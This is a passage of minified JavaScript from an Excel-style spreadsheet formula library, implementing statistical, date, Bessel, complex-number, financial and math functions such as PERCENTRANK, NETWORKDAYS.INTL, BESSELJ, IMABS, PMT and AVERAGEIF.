e;r=r.sort((function(r,n){return r-n}));for(var o=ur.apply(null,r),a=r.length,u=o.length,i=Math.pow(10,t),f=0,c=!1,l=0;!c&&l<u;)n===o[l]?(f=(r.indexOf(o[l])+1)/(a+1),c=!0):n>=o[l]&&(n<o[l+1]||l===u-1)&&(f=(r.indexOf(o[l])+1+(n-o[l])/(o[l+1]-o[l]))/(a+1),c=!0),l++;return Math.floor(f*i)/i},Hr.INC=function(r,n,t){if(t=void 0===t?3:t,F(r=H(C(r)),n=j(n),t=j(t)))return e;r=r.sort((function(r,n){return r-n}));for(var o=ur.apply(null,r),a=r.length,u=o.length,i=Math.pow(10,t),f=0,c=!1,l=0;!c&&l<u;)n===o[l]?(f=r.indexOf(o[l])/(a-1),c=!0):n>=o[l]&&(n<o[l+1]||l===u-1)&&(f=(r.indexOf(o[l])+(n-o[l])/(o[l+1]-o[l]))/(a-1),c=!0),l++;return Math.floor(f*i)/i};var Yr={};Yr.DIST=function(r,n,t){return F(r=j(r),n=j(n))?e:t?ar.poisson.cdf(r,n):ar.poisson.pdf(r,n)};var Br={EXC:function(r,n){if(F(r=H(V(C(r))),n=j(n)))return e;switch(n){case 1:return jr.EXC(r,.25);case 2:return jr.EXC(r,.5);case 3:return jr.EXC(r,.75);default:return u}},INC:function(r,n){if(F(r=H(V(C(r))),n=j(n)))return e;switch(n){case 1:return jr.INC(r,.25);case 2:return jr.INC(r,.5);case 3:return jr.INC(r,.75);default:return u}}},zr={};function Wr(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n=ar.mean(r),t=r.length,e=0,o=0;o<t;o++)e+=Math.pow(r[o]-n,3);return t*e/((t-1)*(t-2)*Math.pow(ar.stdev(r,!0),3))}function Kr(r,n){return F(r=H(C(r)),n=j(n))?r:r.sort((function(r,n){return r-n}))[n-1]}zr.AVG=function(r,n,t){if(F(r=j(r),n=H(C(n))))return e;for(var o=(t=t||!1)?function(r,n){return r-n}:function(r,n){return n-r},a=(n=(n=C(n)).sort(o)).length,u=0,i=0;i<a;i++)n[i]===r&&u++;return u>1?(2*n.indexOf(r)+u+1)/2:n.indexOf(r)+1},zr.EQ=function(r,n,t){if(F(r=j(r),n=H(C(n))))return e;var o=(t=t||!1)?function(r,n){return r-n}:function(r,n){return n-r};return(n=n.sort(o)).indexOf(r)+1},Wr.P=function(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n=ar.mean(r),t=r.length,e=0,o=0,a=0;a<t;a++)o+=Math.pow(r[a]-n,3),e+=Math.pow(r[a]-n,2);return e/=t,(o/=t)/Math.pow(e,1.5)};var $r={};$r.P=function(){var r=Qr.P.apply(this,arguments),n=Math.sqrt(r);return isNaN(n)&&(n=u),n},$r.S=function(){var r=Qr.S.apply(this,arguments);return Math.sqrt(r)},vr.DIST=function(r,n,t){return 1!==t&&2!==t?u:1===t?vr.DIST.RT(r,n):vr.DIST["2T"](r,n)},vr.DIST["2T"]=function(r,n){return 2!==arguments.length?i:r<0||n<1?u:"number"!=typeof r||"number"!=typeof n?e:2*(1-ar.studentt.cdf(r,n))},vr.DIST.RT=function(r,n){return 2!==arguments.length?i:r<0||n<1?u:"number"!=typeof r||"number"!=typeof n?e:1-ar.studentt.cdf(r,n)},vr.INV=function(r,n){return F(r=j(r),n=j(n))?e:ar.studentt.inv(r,n)},vr.INV["2T"]=function(r,n){return r=j(r),n=j(n),r<=0||r>1||n<1?u:F(r,n)?e:Math.abs(ar.studentt.inv(r/2,n))},vr.TEST=function(r,n){if(F(r=H(C(r)),n=H(C(n))))return e;var t,o=ar.mean(r),a=ar.mean(n),u=0,i=0;for(t=0;t<r.length;t++)u+=Math.pow(r[t]-o,2);for(t=0;t<n.length;t++)i+=Math.pow(n[t]-a,2);u/=r.length-1,i/=n.length-1;var f=Math.abs(o-a)/Math.sqrt(u/r.length+i/n.length);return vr.DIST["2T"](f,r.length+n.length-2)};var Qr={};function Zr(){for(var r=C(arguments),n=r.length,t=0,e=0,o=Mr(r),a=0;a<n;a++){var u=r[a];t+="number"==typeof u?Math.pow(u-o,2):!0===u?Math.pow(1-o,2):Math.pow(0-o,2),null!==u&&e++}return t/(e-1)}function Jr(){for(var r,n=C(arguments),t=n.length,e=0,o=0,a=Mr(n),i=0;i<t;i++){var f=n[i];e+="number"==typeof f?Math.pow(f-a,2):!0===f?Math.pow(1-a,2):Math.pow(0-a,2),null!==f&&o++}return r=e/o,isNaN(r)&&(r=u),r}Qr.P=function(){for(var r,n=V(C(arguments)),t=n.length,e=0,o=dr(n),a=0;a<t;a++)e+=Math.pow(n[a]-o,2);return r=e/t,isNaN(r)&&(r=u),r},Qr.S=function(){for(var r=V(C(arguments)),n=r.length,t=0,e=dr(r),o=0;o<n;o++)t+=Math.pow(r[o]-e,2);return t/(n-1)};var rn={DIST:function(r,n,t,o){return F(r=j(r),n=j(n),t=j(t))?e:o?1-Math.exp(-Math.pow(r/t,n)):Math.pow(r,n-1)*Math.exp(-Math.pow(r/t,n))*n/Math.pow(t,n)}},nn={};function tn(r,n){var t=q(r=j(r),n=j(n));return t||(0===n?0:r>0&&n<0?u:Math.ceil(r/n)*n)}function en(r,n){var t=q(r=j(r),n=j(n));return t||(r<n?u:an(r)/(an(n)*an(r-n)))}nn.TEST=function(r,n,t){if(F(r=H(C(r)),n=j(n)))return e;t=t||$r.S(r);var o=r.length;return 1-Gr.S.DIST((dr(r)-n)/(t/Math.sqrt(o)),!0)},tn.MATH=function(r,n){var t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;void 0===n&&(n=r>0?1:-1);var e=q(r=j(r),n=j(n),t=j(t));return e||(0===n?0:(n=Math.abs(n),0===t||r>0?Math.ceil(r/n)*n:Math.floor(r/n)*n))},tn.PRECISE=function(r,n){return tn.MATH(r,n)};var on=[];function an(r){if((r=j(r))instanceof Error)return r;var n=Math.floor(r);return 0===n||1===n?1:(on[n]>0||(on[n]=an(n-1)*n),on[n])}function un(r,n){var e=q(r=j(r),n=j(n));return e||(n?r>0&&n<0?u:Math.floor(r/n)*n:t)}un.MATH=function(r){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,e=q(r=j(r),n=j(n),t=j(t));return e||(0===n?0:(n=Math.abs(n),0===t||r>0?Math.floor(r/n)*n:Math.ceil(r/n)*n))},un.PRECISE=function(r,n){return un.MATH(r,n)};var fn={CEILING:tn};function cn(r,n){var t=q(r=j(r),n=j(n));if(t)return t;if(0===r&&0===n)return u;var e=Math.pow(r,n);return isNaN(e)?u:e}function ln(){var r=C(arguments).filter((function(r){return null!=r}));if(0===r.length)return 0;var n=H(r);if(n instanceof Error)return n;for(var t=1,e=0;e<n.length;e++)t*=n[e];return t}function sn(r,n){var t=q(r=j(r),n=j(n));return t||Number(Math.round(Number(r+"e"+n))+"e"+-1*n)}function hn(){var r=0;return A(T(arguments),(function(n){if(r instanceof Error)return!1;if(n instanceof Error)r=n;else if("number"==typeof n)r+=n;else if("string"==typeof n){var t=parseFloat(n);!isNaN(t)&&(r+=t)}else if(Array.isArray(n)){var e=hn.apply(null,n);e instanceof Error?r=e:r+=e}})),r}var gn=Object.freeze({__proto__:null,ADD:function(r,n){if(2!==arguments.length)return i;var t=q(r=j(r),n=j(n));return t||r+n},DIVIDE:function(r,n){if(2!==arguments.length)return i;var e=q(r=j(r),n=j(n));return e||(0===n?t:r/n)},EQ:function(r,n){return 2!==arguments.length?i:r instanceof Error?r:n instanceof Error?n:(null===r&&(r=void 0),null===n&&(n=void 0),r===n)},GT:function(r,n){if(2!==arguments.length)return i;if(r instanceof Error)return r;if(n instanceof Error)return n;B(r,n)?(r=Y(r),n=Y(n)):(r=j(r),n=j(n));var t=q(r,n);return t||r>n},GTE:function(r,n){if(2!==arguments.length)return i;B(r,n)?(r=Y(r),n=Y(n)):(r=j(r),n=j(n));var t=q(r,n);return t||r>=n},LT:function(r,n){if(2!==arguments.length)return i;B(r,n)?(r=Y(r),n=Y(n)):(r=j(r),n=j(n));var t=q(r,n);return t||r<n},LTE:function(r,n){if(2!==arguments.length)return i;B(r,n)?(r=Y(r),n=Y(n)):(r=j(r),n=j(n));var t=q(r,n);return t||r<=n},MINUS:function(r,n){if(2!==arguments.length)return i;var t=q(r=j(r),n=j(n));return t||r-n},MULTIPLY:function(r,n){if(2!==arguments.length)return i;var t=q(r=j(r),n=j(n));return t||r*n},NE:function(r,n){return 2!==arguments.length?i:r instanceof Error?r:n instanceof Error?n:(null===r&&(r=void 0),null===n&&(n=void 0),r!==n)},POW:function(r,n){return 2!==arguments.length?i:cn(r,n)}}),vn=[void 0,0,1,void 0,void 0,void 0,void 0,void 0,void 0,void 0,void 0,void 0,1,2,3,4,5,6,0],pn=[[],[1,2,3,4,5,6,7],[7,1,2,3,4,5,6],[6,0,1,2,3,4,5],[],[],[],[],[],[],[],[7,1,2,3,4,5,6],[6,7,1,2,3,4,5],[5,6,7,1,2,3,4],[4,5,6,7,1,2,3],[3,4,5,6,7,1,2],[2,3,4,5,6,7,1],[1,2,3,4,5,6,7]],mn=[[],[6,0],[0,1],[1,2],[2,3],[3,4],[4,5],[5,6],void 0,void 0,void 0,[0,0],[1,1],[2,2],[3,3],[4,4],[5,5],[6,6]];function dn(r,n,t){t=t.toUpperCase(),r=G(r),n=G(n);var e,o=r.getFullYear(),a=r.getMonth(),u=r.getDate(),i=n.getFullYear(),f=n.getMonth(),c=n.getDate();switch(t){case"Y":e=Math.floor(Tn(r,n));break;case"D":e=yn(n,r);break;case"M":e=f-a+12*(i-o),c<u&&e--;break;case"MD":u<=c?e=c-u:(0===f?(r.setFullYear(i-1),r.setMonth(12)):(r.setFullYear(i),r.setMonth(f-1)),e=yn(n,r));break;case"YM":e=f-a+12*(i-o),c<u&&e--,e%=12;break;case"YD":f>a||f===a&&c<u?r.setFullYear(i):r.setFullYear(i-1),e=yn(n,r)}return e}function Mn(r){var n=new Date(r);return n.setHours(0,0,0,0),n}function yn(r,n){return r=G(r),n=G(n),r instanceof Error?r:n instanceof Error?n:v(Mn(r))-v(Mn(n))}function En(r,n,t){if(t=k(t||"false"),r=G(r),n=G(n),r instanceof Error)return r;if(n instanceof Error)return n;if(t instanceof Error)return t;var e,o,a=r.getMonth(),u=n.getMonth();if(t)e=31===r.getDate()?30:r.getDate(),o=31===n.getDate()?30:n.getDate();else{var i=new Date(r.getFullYear(),a+1,0).getDate(),f=new Date(n.getFullYear(),u+1,0).getDate();e=r.getDate()===i?30:r.getDate(),n.getDate()===f?e<30?(u++,o=1):o=30:o=n.getDate()}return 360*(n.getFullYear()-r.getFullYear())+30*(u-a)+(o-e)}function Nn(r){if((r=G(r))instanceof Error)return r;(r=Mn(r)).setDate(r.getDate()+4-(r.getDay()||7));var n=new Date(r.getFullYear(),0,1);return Math.ceil(((r-n)/864e5+1)/7)}function bn(r,n,t){return bn.INTL(r,n,1,t)}function In(r,n,t){return In.INTL(r,n,1,t)}function wn(r){return 1===new Date(r,1,29).getMonth()}function Sn(r,n){return Math.ceil((n-r)/1e3/60/60/24)}function Tn(r,n,t){if((r=G(r))instanceof Error)return r;if((n=G(n))instanceof Error)return n;t=t||0;var e=r.getDate(),o=r.getMonth()+1,a=r.getFullYear(),u=n.getDate(),i=n.getMonth()+1,f=n.getFullYear();switch(t){case 0:return 31===e&&31===u?(e=30,u=30):31===e?e=30:30===e&&31===u&&(u=30),(u+30*i+360*f-(e+30*o+360*a))/360;case 1:var c=365;if(a===f||a+1===f&&(o>i||o===i&&e>=u))return(a===f&&wn(a)||function(r,n){var t=r.getFullYear(),e=new Date(t,2,1);if(wn(t)&&r<e&&n>=e)return!0;var o=n.getFullYear(),a=new Date(o,2,1);return wn(o)&&n>=a&&r<a}(r,n)||1===i&&29===u)&&(c=366),Sn(r,n)/c;var l=f-a+1,s=(new Date(f+1,0,1)-new Date(a,0,1))/1e3/60/60/24/l;return Sn(r,n)/s;case 2:return Sn(r,n)/360;case 3:return Sn(r,n)/365;case 4:return(u+30*i+360*f-(e+30*o+360*a))/360}}bn.INTL=function(r,n,t,o){if((r=G(r))instanceof Error)return r;if((n=G(n))instanceof Error)return n;var a=!1,u=[],i=[1,2,3,4,5,6,0],f=new RegExp("^[0|1]{7}$");if(void 0===t)t=mn[1];else if("string"==typeof t&&f.test(t)){a=!0,t=t.split("");for(var c=0;c<t.length;c++)"1"===t[c]&&u.push(i[c])}else t=mn[t];if(!(t instanceof Array))return e;void 0===o?o=[]:o instanceof Array||(o=[o]);for(var l=0;l<o.length;l++){var s=G(o[l]);if(s instanceof Error)return s;o[l]=s}for(var h=Math.round((n-r)/864e5)+1,g=h,v=r,p=0;p<h;p++){for(var m=(new Date).getTimezoneOffset()>0?v.getUTCDay():v.getDay(),d=a?u.includes(m):m===t[0]||m===t[1],M=0;M<o.length;M++){var y=o[M];if(y.getDate()===v.getDate()&&y.getMonth()===v.getMonth()&&y.getFullYear()===v.getFullYear()){d=!0;break}}d&&g--,v.setDate(v.getDate()+1)}return g},In.INTL=function(r,n,t,o){if((r=G(r))instanceof Error)return r;if((n=j(n))instanceof Error)return n;if(!((t=void 0===t?mn[1]:mn[t])instanceof Array))return e;void 0===o?o=[]:o instanceof Array||(o=[o]);for(var a=0;a<o.length;a++){var u=G(o[a]);if(u instanceof Error)return u;o[a]=u}for(var i=0,f=Math.sign(n);i<n*f;){r.setDate(r.getDate()+f);var c=r.getDay();if(c!==t[0]&&c!==t[1]){for(var l=0;l<o.length;l++){var s=o[l];if(s.getDate()===r.getDate()&&s.getMonth()===r.getMonth()&&s.getFullYear()===r.getFullYear()){i--;break}}i++}}return r.getFullYear()<1900?e:r};var An,xn={};var Dn=(An||(An=1,function(r){var n;n=function(r){r.version="1.0.2";var n=Math;function t(r,n){for(var t=0,e=0;t<r.length;++t)e=n*e+r[t];return e}function e(r,n,t,e,o){if(0===n)return t;if(1===n)return e;for(var a=2/r,u=e,i=1;i<n;++i)u=e*i*a+o*t,t=e,e=u;return u}function o(r,n,t,o,a){return function(t,u){if(o){if(0===t)return 1==o?-1/0:1/0;if(t<0)return NaN}return 0===u?r(t):1===u?n(t):u<0?NaN:e(t,u|=0,r(t),n(t),a)}}var a,u,i,f,c,l,s,h,g,v,p,m,d,M=function(){var r=.636619772,o=[57568490574,-13362590354,651619640.7,-11214424.18,77392.33017,-184.9052456].reverse(),a=[57568490411,1029532985,9494680.718,59272.64853,267.8532712,1].reverse(),u=[1,-.001098628627,2734510407e-14,-2073370639e-15,2.093887211e-7].reverse(),i=[-.01562499995,.0001430488765,-6911147651e-15,7.621095161e-7,-9.34935152e-8].reverse();function f(e){var f=0,c=0,l=0,s=e*e;if(e<8)f=(c=t(o,s))/(l=t(a,s));else{var h=e-.785398164;c=t(u,s=64/s),l=t(i,s),f=n.sqrt(r/e)*(n.cos(h)*c-n.sin(h)*l*8/e)}return f}var c=[72362614232,-7895059235,242396853.1,-2972611.439,15704.4826,-30.16036606].reverse(),l=[144725228442,2300535178,18583304.74,99447.43394,376.9991397,1].reverse(),s=[1,.00183105,-3516396496e-14,2457520174e-15,-2.40337019e-7].reverse(),h=[.04687499995,-.0002002690873,8449199096e-15,-8.8228987e-7,1.05787412e-7].reverse();function g(e){var o=0,a=0,u=0,i=e*e,f=n.abs(e)-2.356194491;return Math.abs(e)<8?o=(a=e*t(c,i))/(u=t(l,i)):(a=t(s,i=64/i),u=t(h,i),o=n.sqrt(r/n.abs(e))*(n.cos(f)*a-n.sin(f)*u*8/n.abs(e)),e<0&&(o=-o)),o}return function r(t,o){if(o=Math.round(o),!isFinite(t))return isNaN(t)?t:0;if(o<0)return(o%2?-1:1)*r(t,-o);if(t<0)return(o%2?-1:1)*r(-t,o);if(0===o)return f(t);if(1===o)return g(t);if(0===t)return 0;var a=0;if(t>o)a=e(t,o,f(t),g(t),-1);else{for(var u=!1,i=0,c=0,l=1,s=0,h=2/t,v=2*n.floor((o+n.floor(n.sqrt(40*o)))/2);v>0;v--)s=v*h*l-i,i=l,l=s,n.abs(l)>1e10&&(l*=1e-10,i*=1e-10,a*=1e-10,c*=1e-10),u&&(c+=l),u=!u,v==o&&(a=i);a/=c=2*c-l}return a}}(),y=(a=.636619772,u=[-2957821389,7062834065,-512359803.6,10879881.29,-86327.92757,228.4622733].reverse(),i=[40076544269,745249964.8,7189466.438,47447.2647,226.1030244,1].reverse(),f=[1,-.001098628627,2734510407e-14,-2073370639e-15,2.093887211e-7].reverse(),c=[-.01562499995,.0001430488765,-6911147651e-15,7.621095161e-7,-9.34945152e-8].reverse(),l=[-4900604943e3,127527439e4,-51534381390,734926455.1,-4237922.726,8511.937935].reverse(),s=[249958057e5,424441966400,3733650367,22459040.02,102042.605,354.9632885,1].reverse(),h=[1,.00183105,-3516396496e-14,2457520174e-15,-2.40337019e-7].reverse(),g=[.04687499995,-.0002002690873,8449199096e-15,-8.8228987e-7,1.05787412e-7].reverse(),o((function(r){var e=0,o=0,l=0,s=r*r,h=r-.785398164;return r<8?e=(o=t(u,s))/(l=t(i,s))+a*M(r,0)*n.log(r):(o=t(f,s=64/s),l=t(c,s),e=n.sqrt(a/r)*(n.sin(h)*o+n.cos(h)*l*8/r)),e}),(function(r){var e=0,o=0,u=0,i=r*r,f=r-2.356194491;return r<8?e=(o=r*t(l,i))/(u=t(s,i))+a*(M(r,1)*n.log(r)-1/r):(o=t(h,i=64/i),u=t(g,i),e=n.sqrt(a/r)*(n.sin(f)*o+n.cos(f)*u*8/r)),e}),0,1,-1)),E=(v=[1,3.5156229,3.0899424,1.2067492,.2659732,.0360768,.0045813].reverse(),p=[.39894228,.01328592,.00225319,-.00157565,.00916281,-.02057706,.02635537,-.01647633,.00392377].reverse(),m=[.5,.87890594,.51498869,.15084934,.02658733,.00301532,32411e-8].reverse(),d=[.39894228,-.03988024,-.00362018,.00163801,-.01031555,.02282967,-.02895312,.01787654,-.00420059].reverse(),function r(e,o){if(0===(o=Math.round(o)))return function(r){return r<=3.75?t(v,r*r/14.0625):n.exp(n.abs(r))/n.sqrt(n.abs(r))*t(p,3.75/n.abs(r))}(e);if(1===o)return function(r){return r<3.75?r*t(m,r*r/14.0625):(r<0?-1:1)*n.exp(n.abs(r))/n.sqrt(n.abs(r))*t(d,3.75/n.abs(r))}(e);if(o<0)return NaN;if(0===n.abs(e))return 0;if(e==1/0)return 1/0;var a,u=0,i=2/n.abs(e),f=0,c=1,l=0;for(a=2*n.round((o+n.round(n.sqrt(40*o)))/2);a>0;a--)l=a*i*c+f,f=c,c=l,n.abs(c)>1e10&&(c*=1e-10,f*=1e-10,u*=1e-10),a==o&&(u=f);return u*=r(e,0)/c,e<0&&o%2?-u:u}),N=function(){var r=[-.57721566,.4227842,.23069756,.0348859,.00262698,1075e-7,74e-7].reverse(),e=[1.25331414,-.07832358,.02189568,-.01062446,.00587872,-.0025154,53208e-8].reverse(),a=[1,.15443144,-.67278579,-.18156897,-.01919402,-.00110404,-4686e-8].reverse(),u=[1.25331414,.23498619,-.0365562,.01504268,-.00780353,.00325614,-68245e-8].reverse();return o((function(o){return o<=2?-n.log(o/2)*E(o,0)+t(r,o*o/4):n.exp(-o)/n.sqrt(o)*t(e,2/o)}),(function(r){return r<=2?n.log(r/2)*E(r,1)+1/r*t(a,r*r/4):n.exp(-r)/n.sqrt(r)*t(u,2/r)}),0,2,1)}();r.besselj=M,r.bessely=y,r.besseli=E,r.besselk=N},"undefined"==typeof DO_NOT_EXPORT_BESSEL?n(r):n({})}(xn)),xn),Cn=nr(Dn);function Rn(r){return/^[01]{1,10}$/.test(r)}function On(r,n,t){if(F(r=j(r),n=j(n)))return r;if("i"!==(t=void 0===t?"i":t)&&"j"!==t)return e;if(0===r&&0===n)return 0;if(0===r)return 1===n?t:n.toString()+t;if(0===n)return r.toString();var o=n>0?"+":"";return r.toString()+o+(1===n?t:n.toString()+t)}function Pn(r,n){return n=void 0===n?0:n,F(r=j(r),n=j(n))?e:ar.erf(r)}function Ln(r){return isNaN(r)?e:ar.erfc(r)}function _n(r){var n=Gn(r),t=qn(r);return F(n,t)?e:Math.sqrt(Math.pow(n,2)+Math.pow(t,2))}function qn(r){if(void 0===r||!0===r||!1===r)return e;if(0===r||"0"===r)return 0;if(["i","j"].indexOf(r)>=0)return 1;var n=(r=(r+="").replace("+i","+1i").replace("-i","-1i").replace("+j","+1j").replace("-j","-1j")).indexOf("+"),t=r.indexOf("-");0===n&&(n=r.indexOf("+",1)),0===t&&(t=r.indexOf("-",1));var o=r.substring(r.length-1,r.length),a="i"===o||"j"===o;return n>=0||t>=0?a?n>=0?isNaN(r.substring(0,n))||isNaN(r.substring(n+1,r.length-1))?u:Number(r.substring(n+1,r.length-1)):isNaN(r.substring(0,t))||isNaN(r.substring(t+1,r.length-1))?u:-Number(r.substring(t+1,r.length-1)):u:a?isNaN(r.substring(0,r.length-1))?u:r.substring(0,r.length-1):isNaN(r)?u:0}function Fn(r){var n=Gn(r),o=qn(r);return F(n,o)?e:0===n&&0===o?t:0===n&&o>0?Math.PI/2:0===n&&o<0?-Math.PI/2:0===o&&n>0?0:0===o&&n<0?-Math.PI:n>0?Math.atan(o/n):n<0&&o>=0?Math.atan(o/n)+Math.PI:Math.atan(o/n)-Math.PI}function Un(r){var n=Gn(r),t=qn(r);if(F(n,t))return e;var o=r.substring(r.length-1);return o="i"===o||"j"===o?o:"i",On(Math.cos(n)*(Math.exp(t)+Math.exp(-t))/2,-Math.sin(n)*(Math.exp(t)-Math.exp(-t))/2,o)}function Vn(r){var n=Gn(r),t=qn(r);if(F(n,t))return e;var o=r.substring(r.length-1);return o="i"===o||"j"===o?o:"i",On(Math.cos(t)*(Math.exp(n)+Math.exp(-n))/2,Math.sin(t)*(Math.exp(n)-Math.exp(-n))/2,o)}function kn(r,n){var t=Gn(r),o=qn(r),a=Gn(n),i=qn(n);if(F(t,o,a,i))return e;var f=r.substring(r.length-1),c=n.substring(n.length-1),l="i";if(("j"===f||"j"===c)&&(l="j"),0===a&&0===i)return u;var s=a*a+i*i;return On((t*a+o*i)/s,(o*a-t*i)/s,l)}function Gn(r){if(void 0===r||!0===r||!1===r)return e;if(0===r||"0"===r)return 0;if(["i","+i","1i","+1i","-i","-1i","j","+j","1j","+1j","-j","-1j"].indexOf(r)>=0)return 0;var n=(r+="").indexOf("+"),t=r.indexOf("-");0===n&&(n=r.indexOf("+",1)),0===t&&(t=r.indexOf("-",1));var o=r.substring(r.length-1,r.length),a="i"===o||"j"===o;return n>=0||t>=0?a?n>=0?isNaN(r.substring(0,n))||isNaN(r.substring(n+1,r.length-1))?u:Number(r.substring(0,n)):isNaN(r.substring(0,t))||isNaN(r.substring(t+1,r.length-1))?u:Number(r.substring(0,t)):u:a?isNaN(r.substring(0,r.length-1))?u:0:isNaN(r)?u:r}function Xn(r){var n=Gn(r),t=qn(r);if(F(n,t))return e;var o=r.substring(r.length-1);return o="i"===o||"j"===o?o:"i",On(Math.sin(n)*(Math.exp(t)+Math.exp(-t))/2,Math.cos(n)*(Math.exp(t)-Math.exp(-t))/2,o)}function jn(r){var n=Gn(r),t=qn(r);if(F(n,t))return e;var o=r.substring(r.length-1);return o="i"===o||"j"===o?o:"i",On(Math.cos(t)*(Math.exp(n)-Math.exp(-n))/2,Math.sin(t)*(Math.exp(n)+Math.exp(-n))/2,o)}var Hn=yr.DIST,Yn=yr.INV,Bn=Er.DIST,zn=tn.MATH,Wn=tn.PRECISE,Kn=Nr.DIST,$n=Nr.DIST.RT,Qn=Nr.INV,Zn=Nr.INV.RT,Jn=Nr.TEST,rt=Tr.P,nt=Tr.P,tt=Tr.S,et=Er.INV,ot=Ln.PRECISE,at=Pn.PRECISE,ut=Ar.DIST,it=xr.DIST,ft=xr.DIST.RT,ct=xr.INV,lt=xr.INV.RT,st=un.MATH,ht=un.PRECISE,gt=xr.TEST,vt=Cr.DIST,pt=Cr.INV,mt=Rr.PRECISE,dt=Or.DIST,Mt=_r.INV,yt=_r.DIST,Et=_r.INV,Nt=Vr.MULT,bt=Vr.SNGL,It=kr.DIST,wt=bn.INTL,St=Gr.DIST,Tt=Gr.INV,At=Gr.S.DIST,xt=Gr.S.INV,Dt=jr.EXC,Ct=jr.INC,Rt=Hr.EXC,Ot=Hr.INC,Pt=Yr.DIST,Lt=Br.EXC,_t=Br.INC,qt=zr.AVG,Ft=zr.EQ,Ut=Wr.P,Vt=$r.P,kt=$r.S,Gt=vr.DIST,Xt=vr.DIST.RT,jt=vr.INV,Ht=vr.TEST,Yt=Qr.P,Bt=Qr.S,zt=rn.DIST,Wt=In.INTL,Kt=nn.TEST;function $t(r){var n=[];return A(r,(function(r){r&&n.push(r)})),n}function Qt(r,n){for(var t={},e=1;e<r[0].length;++e)t[e]=!0;for(var o=n[0].length,a=1;a<n.length;++a)n[a].length>o&&(o=n[a].length);for(var u=1;u<r.length;++u)for(var i=1;i<r[u].length;++i){for(var f=!1,c=!1,l=0;l<n.length;++l){var s=n[l];if(!(s.length<o)){var h=s[0];if(r[u][0]===h){c=!0;for(var g=1;g<s.length;++g){if(!f)if(void 0===s[g]||"*"===s[g])f=!0;else{var v=w(s[g]+""),p=[b(r[u][i],N)].concat(v);f=S(p)}}}}}c&&(t[i]=t[i]&&f)}for(var m=[],d=0;d<r[0].length;++d)t[d]&&m.push(d-1);return m}function Zt(r){return r&&r.getTime&&!isNaN(r.getTime())}function Jt(r){return r instanceof Date?r:new Date(r)}function re(r){return r=j(r),-1===[1,2,4].indexOf(r)?u:r}function ne(r){return r=j(r),-1===[0,1,2,3,4].indexOf(r)?u:r}function te(r,n,t,o,a){if(o=o||0,a=a||0,F(r=j(r),n=j(n),t=j(t),o=j(o),a=j(a)))return e;var u;if(0===r)u=o+t*n;else{var i=Math.pow(1+r,n);u=1===a?o*i+t*(1+r)*(i-1)/r:o*i+t*(i-1)/r}return-u}function ee(r,n,t,o,a,u){if(a=a||0,u=u||0,F(r=j(r),n=j(n),t=j(t),o=j(o),a=j(a),u=j(u)))return e;var i=ae(r,t,o,a,u);return(1===n?1===u?0:-o:1===u?te(r,n-2,i,o,1)-i:te(r,n-1,i,o,0))*r}function oe(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n=r[0],t=0,e=1;e<r.length;e++)t+=r[e]/Math.pow(1+n,e);return t}function ae(r,n,t,o,a){if(o=o||0,a=a||0,F(r=j(r),n=j(n),t=j(t),o=j(o),a=j(a)))return e;var u;if(0===r)u=(t+o)/n;else{var i=Math.pow(1+r,n);u=1===a?(o*r/(i-1)+t*r/(1-1/i))/(1+r):o*r/(i-1)+t*r/(1-1/i)}return-u}var ue={errors:l,symbols:gn,date:p};r.ABS=function(r){return(r=j(r))instanceof Error?r:Math.abs(r)},r.ACCRINT=function(r,n,t,o,a,i,f){return r=Jt(r),n=Jt(n),t=Jt(t),q(i=re(i),f=ne(f))?u:Zt(r)&&Zt(n)&&Zt(t)?o<=0||a<=0||t<=r?u:(a=a||0)*o*Tn(r,t,f=f||0):e},r.ACOS=function(r){if((r=j(r))instanceof Error)return r;var n=Math.acos(r);return isNaN(n)&&(n=u),n},r.ACOSH=function(r){if((r=j(r))instanceof Error)return r;var n=Math.log(r+Math.sqrt(r*r-1));return isNaN(n)&&(n=u),n},r.ACOT=function(r){return(r=j(r))instanceof Error?r:Math.atan(1/r)},r.ACOTH=function(r){if((r=j(r))instanceof Error)return r;var n=.5*Math.log((r+1)/(r-1));return isNaN(n)&&(n=u),n},r.AGGREGATE=function(r,n,t,o){if(F(r=j(r),j(r)))return e;switch(r){case 1:return dr(t);case 2:return Ir(t);case 3:return wr(t);case 4:return qr(t);case 5:return Ur(t);case 6:return ln(t);case 7:return $r.S(t);case 8:return $r.P(t);case 9:return hn(t);case 10:return Qr.S(t);case 11:return Qr.P(t);case 12:return Fr(t);case 13:return Vr.SNGL(t);case 14:return Pr(t,o);case 15:return Kr(t,o);case 16:return jr.INC(t,o);case 17:return Br.INC(t,o);case 18:return jr.EXC(t,o);case 19:return Br.EXC(t,o)}},r.AND=function(){for(var r=C(arguments),n=e,t=0;t<r.length;t++){if(r[t]instanceof Error)return r[t];void 0!==r[t]&&null!==r[t]&&"string"!=typeof r[t]&&(n===e&&(n=!0),r[t]||(n=!1))}return n},r.ARABIC=function(r){if(null==r)return 0;if(r instanceof Error)return r;if(!/^M*(?:D?C{0,3}|C[MD])(?:L?X{0,3}|X[CL])(?:V?I{0,3}|I[XV])$/.test(r))return e;var n=0;return r.replace(/[MDLV]|C[MD]?|X[CL]?|I[XV]?/g,(function(r){n+={M:1e3,CM:900,D:500,CD:400,C:100,XC:90,L:50,XL:40,X:10,IX:9,V:5,IV:4,I:1}[r]})),n},r.ASIN=function(r){if((r=j(r))instanceof Error)return r;var n=Math.asin(r);return isNaN(n)&&(n=u),n},r.ASINH=function(r){return(r=j(r))instanceof Error?r:Math.log(r+Math.sqrt(r*r+1))},r.ATAN=function(r){return(r=j(r))instanceof Error?r:Math.atan(r)},r.ATAN2=function(r,n){var t=q(r=j(r),n=j(n));return t||Math.atan2(r,n)},r.ATANH=function(r){if((r=j(r))instanceof Error)return r;var n=Math.log((1+r)/(1-r))/2;return isNaN(n)&&(n=u),n},r.AVEDEV=function(){var r=C(arguments).filter(W);if(0===r.length)return u;var n=H(r);return n instanceof Error?n:ar.sum(ar(n).subtract(ar.mean(n)).abs()[0])/n.length},r.AVERAGE=dr,r.AVERAGEA=Mr,r.AVERAGEIF=function(r,n,t){if(arguments.length<=1)return i;if(t=H(C(t=t||r).filter(W)),r=C(r),t instanceof Error)return t;for(var e=0,o=0,a=void 0===n||"*"===n,u=a?null:w(n+""),f=0;f<r.length;f++){var c=r[f];if(a)o+=t[f],e++;else{var 